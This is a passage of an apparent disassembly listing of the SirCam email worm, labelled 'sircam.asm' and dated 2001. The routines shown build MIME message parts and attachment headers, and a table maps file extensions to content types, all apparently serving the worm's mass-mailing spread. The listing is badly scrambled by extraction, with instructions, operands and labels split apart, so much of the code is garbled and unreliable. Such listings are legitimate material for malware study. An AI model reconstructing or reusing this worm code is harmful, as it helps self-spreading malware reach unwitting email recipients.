dd 2Ch
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_411894
dword_411690
dd 0Eh, 70000h
; DATA XREF: CODE:00411644\030o
; CODE:00411650\030o
db 2 dup(0)
dd offset off_401000
dd 4
dd offset off_401000
dd 8
dd offset off_401000
dd 0Ch
dd offset off_401000
dd 14h
dd offset off_401000
dd 18h
dd offset off_401000
dd 1Ch
dd offset off_401000
dd 20h
dword_4116D2
dd 694D5409h, 6150656Dh, 0FFFF7472h, 3FFFFh ; DATA XREF: CODE:00411664
\030o
align 4
dword_4116E4
dd 434F44h, 0FFFFFFFFh, 0Bh, 6C707061h, 74616369h, 6E6F69h
; DATA XREF: DATA:0041D76C\031o
; DATA:0041D770\031o ...
sircam.asm
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
481
0FFFFFFFFh, 6, 6F57534Dh, 6472h, 0FFFFFFFFh, 3, 464947h
0FFFFFFFFh, 5, 67616D69h, 65h, 0FFFFFFFFh, 4, 4745504Ah
0, 0FFFFFFFFh, 3, 47504Ah, 0FFFFFFFFh, 4, 4745504Dh
0, 0FFFFFFFFh, 5, 65646976h, 6Fh, 0FFFFFFFFh, 3, 47504Dh
0FFFFFFFFh, 3, 464450h, 0FFFFFFFFh, 3, 474E50h, 0FFFFFFFFh
2, 5350h, 0FFFFFFFFh, 0Ah, 74736F50h, 69726373h, 7470h
0FFFFFFFFh, 3, 564F4Dh, 0FFFFFFFFh, 9, 63697571h, 6D69746Bh
65h, 0FFFFFFFFh, 3, 50495Ah, 0FFFFFFFFh, 7, 4670695Ah
656C69h, 0FFFFFFFFh, 3, 464950h, 0FFFFFFFFh, 0Ch, 6574636Fh
74732D74h, 6D616572h, 0, 0FFFFFFFFh, 3, 4B4E4Ch, 0FFFFFFFFh
3, 544142h, 0FFFFFFFFh, 3, 455845h, 0FFFFFFFFh, 3, 4D4F43h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_411838
proc near
push
push
test
jz
add
call
ebx
esi
dl, dl
short loc_411846
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
xor
mov
call
mov
mov
call
mov
mov
mov
call
mov
call
mov
mov
test
jz
call
pop
add
; CODE XREF: sub_411838+4\030j
ebx, edx
esi, eax
edx, edx
eax, esi
sub_402BAC
dl, 1
eax, ds:off_40BB68
sub_402BAC
[esi+24h], eax
dl, 1
eax, ds:off_40BE14
sub_402BAC
[esi+28h], eax
sub_40EEAC
[esi+13h], al
eax, esi
bl, bl
short loc_41188E
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_411846:
loc_41188E:
sub_411838
; CODE XREF: sub_412604+A\031p
; sub_412844+B2\031p
; CODE XREF: sub_411838+45\030j
mov
pop
pop
retn
endp
eax, esi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_411894
proc near
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+28h]
call
sub_402BDC
mov
eax, [esi+24h]
call
sub_402BDC
; DATA XREF: CODE:0041168C\030o
sircam.asm
Fri Aug 10 12:42:44 2001
mov
and
mov
call
test
jle
mov
call
edx, ebx
dl, 0FCh
eax, esi
sub_402BCC
bl, bl
short loc_4118C6
eax, esi
sub_402D2C
pop
pop
retn
endp
esi
ebx
loc_4118C6:
sub_411894
482
; CODE XREF: sub_411894+29\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4118CC
proc near
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_412620+83\031p
; sub_412708+B4\031p ...
-34h
-30h
-2Ch
-28h
-24h
-20h
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
push
mov
mov
ebp
ebp, esp
ecx, 6
push
push
dec
jnz
push
push
push
push
mov
xor
push
push
push
mov
mov
mov
call
mov
mov
mov
call
mov
xor
xor
mov
call
; CODE XREF: sub_4118CC+D\031j
0
0
ecx
short loc_4118D4
ecx
ebx
esi
edi
ebx, eax
eax, eax
ebp
offset loc_411CD8
dword ptr fs:[eax]
fs:[eax], esp
dl, 1
eax, ds:off_40BB68
sub_402BAC
[ebp+var_4], eax
eax, [ebx+24h]
edx, [eax]
dword ptr [edx+40h]
eax, [ebx+28h]
ecx, ecx
edx, edx
esi, [eax]
dword ptr [esi+0Ch]
loc_4118D4:
sircam.asm
Fri Aug 10 12:42:44 2001
483
xor
eax, eax
push
ebp
push
offset loc_411CA9
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
al, [ebx+10h]
sub
al, 1
jb
short loc_411942
sub
al, 2
jb
short loc_411932
jz
short loc_411942
jmp
loc_411A94
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411932:
; CODE XREF: sub_4118CC+5D\030j
mov
edx, [ebx+28h]
mov
eax, [ebx+24h]
mov
ecx, [eax]
call
dword ptr [ecx+5Ch]
jmp
loc_411A94
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411942:
; CODE XREF: sub_4118CC+59\030j
; sub_4118CC+5F\030j
cmp
byte ptr [ebx+11h], 3
jnz
loc_411A1A
jmp
loc_4119FE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411951:
lea
mov
call
lea
call
mov
mov
mov
mov
call
mov
mov
test
jle
mov
; CODE XREF: sub_4118CC+146\031j
eax, [ebp+var_C]
edx, 36h
sub_4039FC
eax, [ebp+var_8]
sub_4034C8
edx, [ebp+var_C]
eax, [ebx+28h]
ecx, 36h
esi, [eax]
dword ptr [esi+4]
edi, eax
esi, edi
esi, esi
short loc_4119A8
[ebp+var_10], 1
lea
mov
mov
mov
call
mov
lea
call
inc
dec
jnz
; CODE XREF: sub_4118CC+DA\031j
eax, [ebp+var_14]
edx, [ebp+var_C]
ecx, [ebp+var_10]
dl, [edx+ecx-1]
sub_403670
edx, [ebp+var_14]
eax, [ebp+var_8]
sub_40372C
[ebp+var_10]
esi
short loc_411985
cmp
jnz
lea
push
mov
mov
mov
call
mov
lea
; CODE XREF: sub_4118CC+B0\030j
byte ptr [ebx+10h], 0
short loc_4119CB
eax, [ebp+var_18]
eax
cl, [ebx+12h]
dl, [ebx+13h]
eax, [ebp+var_8]
sub_40EDA4
edx, [ebp+var_18]
eax, [ebp+var_8]
loc_411985:
loc_4119A8:
sircam.asm
Fri Aug 10 12:42:44 2001
484
call
sub_403560
lea
mov
call
mov
lea
call
cmp
jz
lea
mov
call
; CODE XREF: sub_4118CC+E0\030j
edx, [ebp+var_1C]
eax, [ebp+var_8]
sub_40F4CC
edx, [ebp+var_1C]
eax, [ebp+var_8]
sub_403560
edi, 36h
short loc_4119F3
eax, [ebp+var_8]
edx, offset dword_411CF0
sub_40372C
mov
mov
mov
call
; CODE XREF: sub_4118CC+118\030j
eax, [ebx+24h]
edx, [ebp+var_8]
ecx, [eax]
dword ptr [ecx+34h]
loc_4119CB:
loc_4119F3:
loc_4119FE:
; CODE XREF: sub_4118CC+80\030j
mov
eax, [ebx+28h]
call
sub_40D830
mov
esi, eax
mov
eax, [ebx+28h]
call
sub_40D84C
cmp
esi, eax
jl
loc_411951
jmp
short loc_411A94
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411A1A:
mov
mov
mov
call
mov
mov
call
mov
dec
test
jl
inc
mov
; CODE XREF: sub_4118CC+7A\030j
edx, [ebx+28h]
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+5Ch]
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
esi, eax
esi
esi, esi
short loc_411A94
esi
[ebp+var_10], 0
lea
mov
mov
mov
call
cmp
jnz
lea
push
mov
mov
mov
call
mov
lea
call
; CODE XREF: sub_4118CC+1C6\031j
ecx, [ebp+var_8]
edx, [ebp+var_10]
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
byte ptr [ebx+10h], 0
short loc_411A6D
eax, [ebp+var_20]
eax
cl, [ebx+12h]
dl, [ebx+13h]
eax, [ebp+var_8]
sub_40EDA4
edx, [ebp+var_20]
eax, [ebp+var_8]
sub_403560
lea
mov
call
mov
; CODE XREF: sub_4118CC+182\030j
edx, [ebp+var_24]
eax, [ebp+var_8]
sub_40F3B4
edx, [ebp+var_24]
loc_411A3C:
loc_411A6D:
sircam.asm
Fri Aug 10 12:42:44 2001
lea
call
mov
mov
mov
call
inc
dec
jnz
loc_411A94:
485
eax, [ebp+var_8]
sub_403560
eax, [ebx+24h]
edx, [ebp+var_8]
ecx, [eax]
dword ptr [ecx+34h]
[ebp+var_10]
esi
short loc_411A3C
; CODE XREF: sub_4118CC+61\030j
; sub_4118CC+71\030j ...
mov
eax, [ebx+24h]
xor
edx, edx
mov
ecx, [eax]
call
dword ptr [ecx+34h]
mov
eax, [ebx+24h]
xor
ecx, ecx
xor
edx, edx
mov
esi, [eax]
call
dword ptr [esi+54h]
cmp
dword ptr [ebx+14h], 0
jnz
short loc_411AFD
mov
al, [ebx+10h]
sub
al, 1
jb
short loc_411AC3
jz
short loc_411AD2
dec
al
jz
short loc_411AE1
dec
al
jz
short loc_411AF0
jmp
short loc_411AFD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411AC3:
; CODE XREF: sub_4118CC+1E9\030j
lea
eax, [ebx+14h]
mov
edx, offset aPlain ; "plain"
call
sub_40351C
jmp
short loc_411AFD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411AD2:
; CODE XREF: sub_4118CC+1EB\030j
lea
eax, [ebx+14h]
mov
edx, offset aMixed ; "mixed"
call
sub_40351C
jmp
short loc_411AFD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411AE1:
; CODE XREF: sub_4118CC+1EF\030j
lea
eax, [ebx+14h]
mov
edx, offset aRfc822 ; "rfc822"
call
sub_40351C
jmp
short loc_411AFD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411AF0:
lea
mov
call
; CODE XREF: sub_4118CC+1F3\030j
eax, [ebx+14h]
edx, offset dword_411D2C
sub_40351C
cmp
jz
mov
lea
mov
call
mov
mov
; CODE XREF: sub_4118CC+1E2\030j
; sub_4118CC+1F5\030j ...
dword ptr [ebx+18h], 0
short loc_411B20
ecx, [ebx+18h]
eax, [ebp+var_28]
edx, offset aContentDisposi ; "Content-Disposition: "
sub_403770
ecx, [ebp+var_28]
eax, [ebx+24h]
loc_411AFD:
sircam.asm
Fri Aug 10 12:42:44 2001
xor
mov
call
486
edx, edx
esi, [eax]
dword ptr [esi+54h]
loc_411B20:
; CODE XREF: sub_4118CC+235\030j
mov
al, [ebx+11h]
sub
al, 1
jb
short loc_411B33
jz
short loc_411B42
dec
al
jz
short loc_411B51
dec
al
jz
short loc_411B60
jmp
short loc_411B6D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411B33:
; CODE XREF: sub_4118CC+259\030j
lea
eax, [ebp+var_8]
mov
edx, offset a7bit ; "7bit"
call
sub_403560
jmp
short loc_411B6D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411B42:
; CODE XREF: sub_4118CC+25B\030j
lea
eax, [ebp+var_8]
mov
edx, offset a8bit ; "8bit"
call
sub_403560
jmp
short loc_411B6D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411B51:
; CODE XREF: sub_4118CC+25F\030j
lea
eax, [ebp+var_8]
mov
edx, offset aQuotedPrintabl ; "quoted-printable"
call
sub_403560
jmp
short loc_411B6D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411B60:
lea
mov
call
; CODE XREF: sub_4118CC+263\030j
eax, [ebp+var_8]
edx, offset aBase64 ; "base64"
sub_403560
loc_411B6D:
; CODE XREF: sub_4118CC+265\030j
; sub_4118CC+274\030j ...
mov
sub
jb
sub
jnz
al, [ebx+10h]
al, 1
short loc_411B78
al, 2
short loc_411B95
lea
mov
mov
call
mov
mov
xor
mov
call
; CODE XREF: sub_4118CC+2A6\030j
eax, [ebp+var_2C]
ecx, [ebp+var_8]
edx, offset aContentTransfe ; "Content-Transfer-Encoding: "
sub_403770
ecx, [ebp+var_2C]
eax, [ebx+24h]
edx, edx
esi, [eax]
dword ptr [esi+54h]
mov
sub
jb
jz
dec
jz
dec
jz
al, [ebx+10h]
al, 1
short loc_411BAB
short loc_411BDB
al
short loc_411C02
al
short loc_411C1E
loc_411B78:
loc_411B95:
; CODE XREF: sub_4118CC+2AA\030j
sircam.asm
Fri Aug 10 12:42:44 2001
487
jmp
loc_411C76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411BAB:
; CODE XREF: sub_4118CC+2CE\030j
push
dword ptr [ebx+4]
push
offset dword_411DD4
push
dword ptr [ebx+14h]
push
offset dword_411DE0
lea
edx, [ebp+var_30]
mov
al, [ebx+12h]
call
sub_40EF00
push
[ebp+var_30]
lea
eax, [ebp+var_8]
mov
edx, 5
call
sub_4037E4
jmp
loc_411C76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411BDB:
; CODE XREF: sub_4118CC+2D0\030j
push
dword ptr [ebx+4]
push
offset dword_411DD4
push
dword ptr [ebx+14h]
push
offset dword_411DF4
push
dword ptr [ebx+1Ch]
push
offset dword_411E0C
lea
eax, [ebp+var_8]
mov
edx, 6
call
sub_4037E4
jmp
short loc_411C76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411C02:
; CODE XREF: sub_4118CC+2D4\030j
push
dword ptr [ebx+4]
push
offset dword_411DD4
push
dword ptr [ebx+14h]
push
0
lea
eax, [ebp+var_8]
mov
edx, 4
call
sub_4037E4
jmp
short loc_411C76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411C1E:
; CODE XREF: sub_4118CC+2D8\030j
mov
edx, [ebx+20h]
mov
eax, offset dword_411E18
call
sub_4039B4
test
eax, eax
jnz
short loc_411C51
push
dword ptr [ebx+4]
push
offset dword_411DD4
push
dword ptr [ebx+14h]
push
offset dword_411E24
push
dword ptr [ebx+20h]
lea
eax, [ebp+var_8]
mov
edx, 5
call
sub_4037E4
jmp
short loc_411C76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411C51:
push
push
push
push
push
push
lea
mov
call
; CODE XREF: sub_4118CC+361\030j
dword ptr [ebx+4]
offset dword_411DD4
dword ptr [ebx+14h]
offset dword_411E34
dword ptr [ebx+20h]
offset dword_411E0C
eax, [ebp+var_8]
edx, 6
sub_4037E4
sircam.asm
Fri Aug 10 12:42:44 2001
loc_411C76:
lea
mov
mov
call
mov
mov
xor
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4118CC+2DA\030j
; sub_4118CC+30A\030j ...
eax, [ebp+var_34]
ecx, [ebp+var_8]
edx, offset dword_411E48
sub_403770
ecx, [ebp+var_34]
eax, [ebx+24h]
edx, edx
ebx, [eax]
dword ptr [ebx+54h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411CB0
loc_411CA0:
sub_4118CC
488
; CODE XREF: CODE:00411CAE\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -48h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411CA9:
; DATA XREF: sub_4118CC+49\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411CA0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411CB0:
xor
pop
pop
pop
mov
push
; DATA XREF: sub_4118CC+3CF\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411CDF
loc_411CBD:
; CODE XREF: CODE:00411CDD\031j
lea
eax, [ebp-34h]
mov
edx, 9
call
sub_4034EC
lea
eax, [ebp-0Ch]
mov
edx, 2
call
sub_4034EC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411CD8:
; DATA XREF: sub_4118CC+18\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411CBD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411CDF:
; DATA XREF: CODE:00411CB8\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_411CF0
dd 3Dh, 0FFFFFFFFh, 5
; DATA XREF: sub_4118CC+11D\030o
aPlain
db ’plain’,0
; DATA XREF: sub_4118CC+1FA\030o
align 4
dd 0FFFFFFFFh, 5
sircam.asm
Fri Aug 10 12:42:44 2001
489
aMixed
db ’mixed’,0
; DATA XREF: sub_4118CC+209\030o
align 4
dd 0FFFFFFFFh, 6
aRfc822
db ’rfc822’,0
; DATA XREF: sub_4118CC+218\030o
align 4
dd 0FFFFFFFFh, 0Ch
dword_411D2C
dd 6574636Fh, 74732D74h, 6D616572h, 0, 0FFFFFFFFh, 15h
; DATA XREF: sub_4118CC+227\030o
aContentDisposi db ’Content-Disposition: ’,0 ; DATA XREF: sub_4118CC+23D\030o
align 4
dd 0FFFFFFFFh, 4
a7bit
db ’7bit’,0
; DATA XREF: sub_4118CC+26A\030o
align 4
dd 0FFFFFFFFh, 4
a8bit
db ’8bit’,0
; DATA XREF: sub_4118CC+279\030o
align 4
dd 0FFFFFFFFh, 10h
aQuotedPrintabl db ’quoted-printable’,0 ; DATA XREF: sub_4118CC+288\030o
align 4
dd 0FFFFFFFFh, 6
aBase64
db ’base64’,0
; DATA XREF: sub_4118CC+297\030o
align 4
dd 0FFFFFFFFh, 1Bh
aContentTransfe db ’Content-Transfer-Encoding: ’,0 ; DATA XREF: sub_4118CC+2B2\030o
dd 0FFFFFFFFh, 1
dword_411DD4
dd 2Fh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_4118CC+2E2\030o
; sub_4118CC+312\030o ...
dword_411DE0
dd 6863203Bh, 65737261h, 3D74h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4118CC+2
EA\030o
dword_411DF4
dd 6F62203Bh, 61646E75h, 223D7972h, 0, 0FFFFFFFFh, 1
; DATA XREF: sub_4118CC+31A\030o
dword_411E0C
dd 22h, 0FFFFFFFFh, 1
; DATA XREF: sub_4118CC+322\030o
; sub_4118CC+398\030o
dword_411E18
dd 20h, 0FFFFFFFFh, 7
; DATA XREF: sub_4118CC+355\030o
dword_411E24
dd 616E203Bh, 3D656Dh, 0FFFFFFFFh, 8 ; DATA XREF: sub_4118CC+36E\030o
dword_411E34
dd 616E203Bh, 223D656Dh, 0, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4118CC+390
\030o
dword_411E48
dd 746E6F43h, 2D746E65h, 65707954h, 203Ah ; DATA XREF: sub_4118CC+3B0\030
o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_411E58
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
push
push
push
push
push
push
mov
mov
mov
call
xor
push
push
push
mov
xor
mov
call
; CODE XREF: sub_412708+4B\031p
ebp
ebp, esp
0
0
0
ebx
esi
edi
[ebp+var_4], edx
esi, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_411F2F
dword ptr fs:[eax]
fs:[eax], esp
edx, edx
eax, esi
sub_411F70
sircam.asm
Fri Aug 10 12:42:44 2001
490
lea
call
lea
mov
mov
call
mov
lea
call
cmp
jnz
lea
mov
call
eax, [esi+14h]
sub_4034C8
ecx, [ebp+var_C]
edx, offset dword_411F48
eax, [ebp+var_4]
sub_41137C
eax, [ebp+var_C]
edx, [ebp+var_8]
sub_406D54
[ebp+var_8], 0
short loc_411EBC
edx, [ebp+var_8]
eax, [ebp+var_4]
sub_406D54
mov
mov
; CODE XREF: sub_411E58+57\030j
edi, 10h
ebx, offset off_41D76C
loc_411EBC:
loc_411EC6:
; CODE XREF: sub_411E58+95\031j
mov
eax, [ebx]
mov
edx, [ebp+var_8]
call
sub_403834
jnz
short loc_411EE9
mov
edx, [ebx+4]
mov
eax, esi
call
sub_411F70
lea
eax, [esi+14h]
mov
edx, [ebx+8]
call
sub_40351C
jmp
short loc_411EEF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411EE9:
; CODE XREF: sub_411E58+78\030j
add
dec
jnz
ebx, 0Ch
edi
short loc_411EC6
cmp
jnz
mov
mov
call
; CODE XREF: sub_411E58+8F\030j
dword ptr [esi+4], 0
short loc_411F01
edx, offset aApplication ; "application"
eax, esi
sub_411F70
cmp
jnz
lea
mov
call
; CODE XREF: sub_411E58+9B\030j
dword ptr [esi+14h], 0
short loc_411F14
eax, [esi+14h]
edx, offset aMixed_0 ; "mixed"
sub_40351C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_411E58+AD\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411F36
loc_411EEF:
loc_411F01:
loc_411F14:
loc_411F21:
sub_411E58
; CODE XREF: CODE:00411F34\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411F2F:
; DATA XREF: sub_411E58+1C\030o
sircam.asm
Fri Aug 10 12:42:44 2001
491
jmp
loc_402F60
